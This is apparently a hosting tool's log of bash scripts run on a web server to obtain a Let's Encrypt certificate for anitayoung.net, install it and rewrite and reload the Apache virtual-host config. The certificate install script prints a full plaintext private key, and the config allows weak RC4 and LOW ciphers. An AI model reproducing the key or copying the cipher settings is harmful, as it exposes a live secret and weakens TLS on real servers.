MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-13 08:56:15: Establishing a connection
2026-06-13 08:56:15: Establishing a connection
2026-06-13 08:56:15: 

PUT: /tmp/pkp196483

#!/bin/bash
if [ -d "/var/www/anitayoung_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-13 08:56:15: 

chmod 755 /tmp/pkp196483; /tmp/pkp196483; rm /tmp/pkp196483

2026-06-13 08:56:15: 


1


2026-06-13 08:56:16: Establishing a connection
2026-06-13 08:56:17: 

PUT: /tmp/pkp152613

#!/bin/bash
mkdir -p "/var/www/anitayoung_www/.well-known/acme-challenge/"
cd "/var/www/anitayoung_www/.well-known/acme-challenge/"
cat > EUGbyjNJdTOeXrs0VlpStkE5tznufw2cbusbOLjhphY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
EUGbyjNJdTOeXrs0VlpStkE5tznufw2cbusbOLjhphY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 EUGbyjNJdTOeXrs0VlpStkE5tznufw2cbusbOLjhphY


2026-06-13 08:56:17: 

chmod 755 /tmp/pkp152613; /tmp/pkp152613; rm /tmp/pkp152613

2026-06-13 08:56:17: 




2026-06-13 08:56:20: Establishing a connection
2026-06-13 08:56:21: 

PUT: /tmp/pkp860950

#!/bin/bash
mkdir -p "/var/www/anitayoung_www/.well-known/acme-challenge/"
cd "/var/www/anitayoung_www/.well-known/acme-challenge/"
rm EUGbyjNJdTOeXrs0VlpStkE5tznufw2cbusbOLjhphY


2026-06-13 08:56:21: 

chmod 755 /tmp/pkp860950; /tmp/pkp860950; rm /tmp/pkp860950

2026-06-13 08:56:21: 




2026-06-13 08:56:21: Establishing a connection
2026-06-13 08:56:21: 

PUT: /tmp/pkp895732

#!/bin/bash
temp_file=$(mktemp)
TARGET=6784aa2fd84151497bb640fc77814c2a.crt

cat > $temp_file <<'endmsg'
38:a2:7d:36:ba:2e:6c:36:0e:ce:38:7d:02:b1:b2:18

-----BEGIN CERTIFICATE-----
MIIE9zCCA9+gAwIBAgISBrNr6O6JWshdRJgCExEX/dQMMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjEzMDc1NzUwWhcNMjYwOTExMDc1NzQ5WjAZMRcwFQYDVQQD
Ew5hbml0YXlvdW5nLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AM5VQojS2n+KHDMgn5oGv3/HBcnYfZyBIrIz2xMXG2fIvoMuuc5812nxwGCESRJs
rAERv3UZeA+76drjC9FUmeO7Nf/6LSkI4wE+ZH6Y20z+TfOxF5tU8l8UvxN6nmlN
n6iDFnA5B79az5bRHrWSeHYP0UlguCzaMB6LvkWejKSiD1zko6JkjzKOpQ6Ge5MP
olFL9xqqIVQJ/mS6yt8npQJLcyUI126AHGZ/yCQQ9VnArbQ1PlPHdcgOfkeg/uhZ
I2Sn0mS3BH3r/9xvRVZPwmoG3Ha14mSkUabEdj7uJYhND7IYh7AZg1taoT1TVZK2
M4/TmZ9SMuv2n8ZakEU5i7UCAwEAAaOCAh0wggIZMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBQn2e/P
Xb/Yrmc4KHrPLiEUv2vwSDAfBgNVHSMEGDAWgBQfLzW+RhSCzUCxrnksVXj699Ro
+zAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjEuaS5sZW5j
ci5vcmcvMBkGA1UdEQQSMBCCDmFuaXRheW91bmcubmV0MBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly95cjEuYy5sZW5jci5vcmcv
MTMuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHYAwjF+V0UZo0XufzjespBB
68fCIVoiv3/Vta12mtkOUs0AAAGewDJD7wAABAMARzBFAiEAvWIAPAlIJOuJR8Wr
ee15oEs8XT91RGplBjZkZmcHTg4CIA90P5qbTolkVrr1XBA74XpPRk5x7/Gu2pZ3
oE8t7JN3AH8ARq+GPTs+5Z+ld96oJF02sNntIqIj9GF3QSKUUu6VUF8AAAGewDJE
zAAIAAAFAAmYzsAEAwBIMEYCIQC25AcQdiWrl3vqxXJltjEEq3slTQ5fx1usUgbd
uEd6cQIhAJZAPsEgQAbjrcNIlzK2F3DLTsqfjcNOEOVykWzvc/66MA0GCSqGSIb3
DQEBCwUAA4IBAQAjckKAjfmo9QWjccHrN6GyIZ3HkIbMiuF+9G7Ge/rC9gneOvZE
bgWFmY7ExYV8ODdeTmpKRoEoug3YDsQNtT+DEM/DuLI0Mg9Tm59xa+hXVH7uey9g
H6tIsXVLftU6DR7M3lmxrcPCq0sFATcDX41NGfFBJB9B12h9Dy+lcjwbEAYzr0RP
fLAcNfAsIiChw2SXAzdTIi8r09RL4HXGjIiyYwahmHQbAKmUhFlWw082Zp0KvAzX
MoL4QUASbLUER/kbuPk2GcUQXiguYDk5AUI0a3D2dE4o34Msgd2yNgLMw2Peednz
SegIxFnKkYrgZyixukXBtU51kudMGhfPMebc
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDOVUKI0tp/ihwz
IJ+aBr9/xwXJ2H2cgSKyM9sTFxtnyL6DLrnOfNdp8cBghEkSbKwBEb91GXgPu+na
4wvRVJnjuzX/+i0pCOMBPmR+mNtM/k3zsRebVPJfFL8Tep5pTZ+ogxZwOQe/Ws+W
0R61knh2D9FJYLgs2jAei75Fnoykog9c5KOiZI8yjqUOhnuTD6JRS/caqiFUCf5k
usrfJ6UCS3MlCNdugBxmf8gkEPVZwK20NT5Tx3XIDn5HoP7oWSNkp9JktwR96//c
b0VWT8JqBtx2teJkpFGmxHY+7iWITQ+yGIewGYNbWqE9U1WStjOP05mfUjLr9p/G
WpBFOYu1AgMBAAECggEACcUvkqmjwnQbp4lTbwIDyzBCHc+cPxVxIadJjkr2HfRI
OFw1j/zV+UScm4iYEM3H8hlqvsfdqUBFYuG4CD0HBNzmdTN3Z2DuDHu6WxfjRojC
NmUvEEicKeFvHNdRE5Zv4xUpMlfMMWtcHUpthFaMhFBCbkTGSj8FfH5mHG2iDK39
lVcBmarNLPxNkqMQgZS3kLoEUYqlLwqw16pcarQFA2CWD7l/q4RB9EBv2q3tzE9Q
M0l9Lk+1nWV+AYSqLZWSh4urv1Od9IhNtQ8f2U1eJTeQVBWmXBVm46N5OdxiTKJN
SmqA6NlbtlBUfNeme5S58CK0gQGp568q4kHAvR+RkQKBgQD9mbL2j642xS2itKTO
MxsaLR2BpIroHZdkcOsfjkTPkbVbnoDFWF8Pv8XwrRpxH2Se68+fBkYFewdFv29/
tC+pDm2Oawa6va9ad0uGOGW4c6Hq3NDlDiARvtwNY2d/1FLGRn0YW7v8q7YNHriN
5CuwWFg5k9/++YyWbLWfhLsHWQKBgQDQSRBz8NUUJiXsSgoz0WGEe7luR5t0oiLK
djcw3/NMR3rsfxG3+FJ5KVzBmk3lECfDw4fgPbegRR3XFRXUP/RPY7tNKDFZgMMW
8Ph6eO1cBPQbNvzExRW8eZff8PtFSsyZqN3nzlVpekqSDzup6FW1FBr+2+RDyjOC
6vgJK/k3vQKBgBx/2lnVGcnz7MX9MQwvOBt/+HHqUOX29V2HRxUbwuXkxRHPxT7o
SH6XmaILgg42bfNiIsoHRXU2N0ICWoBqenSwN2Wq522zBXLQNz+VNPE+pXKkcCFd
rgLwhQBILIh0Dv1TTJmhLYYese3Vhv4DJ1nBA+Esmh6oYsFA5ERSAUa5AoGBAK2q
fiFtyPyH4k7mXSNfjaPdVXtyEVhqZ//QGaySzlXns8LFIIz4bCvCJSj388LueXls
6zo5u4XSm1LerdjPinE3gtCOlrc9+WyDd2sGsUJsjuyyKIgYnEsOR2fdkmTwPTBR
8NR64hSUduDZ+rFsmynkna2qwuUTD2g1aqKbG60xAoGBAPOjZnxL+3Wk20e72n0i
nSXCaSSvyUFWyziPKjLKHRK2hGO7myY1JiG/fb9++xeip3sNgxru1mW7EHQoNKSD
JWs/DXRAg0MFfebOq0hz7KJwVAf/u0jeUiFqypgM9au6O5FOlv8+qSDfwtHeqFgV
yy6zru+4ujprLq20AOxSayXe
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-13 08:56:21: 

chmod 755 /tmp/pkp895732; /tmp/pkp895732; rm /tmp/pkp895732

2026-06-13 08:56:21: 


dir=/etc/ssl/certs


2026-06-13 08:56:21: 

PUT: /tmp/pkp676433

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/anitayoung_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-13 08:56:21: 

chmod 755 /tmp/pkp676433; /tmp/pkp676433; rm /tmp/pkp676433

2026-06-13 08:56:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/anitayoung_www_net.conf 42

<VirtualHost *:80>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_secure_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-06-13 08:56:21: 

PUT: /tmp/pkp338858

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=anitayoung_www_net.conf
TARGET=/etc/apache2/sites-enabled/anitayoung_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	anitayoung.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/6784aa2fd84151497bb640fc77814c2a.crt
    DocumentRoot	/var/www/anitayoung_www
    <Directory /var/www/anitayoung_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anitayoung/www_secure_access.log combined
    ErrorLog	/var/log/apache2/anitayoung/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/anitayoung_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/anitayoung_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/anitayoung_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/anitayoung_www_net.conf= 1'
fi


2026-06-13 08:56:21: 

chmod 755 /tmp/pkp338858; /tmp/pkp338858; rm /tmp/pkp338858

2026-06-13 08:56:21: 




2026-06-13 08:56:21: 

PUT: /tmp/pkp354919

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-13 08:56:21: 

chmod 755 /tmp/pkp354919; /tmp/pkp354919; rm /tmp/pkp354919

2026-06-13 08:56:21: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-13 08:56:21: Establishing a connection
2026-06-13 08:56:21: 

PUT: /tmp/pkp596776

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-13 08:56:21: 

chmod 755 /tmp/pkp596776; /tmp/pkp596776; rm /tmp/pkp596776

2026-06-13 08:56:22: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:2)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost hub.pjy.us (/etc/apache2/sites-enabled/pjy_hub_us.conf:22)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-13 08:56:22: 

PUT: /tmp/pkp928345

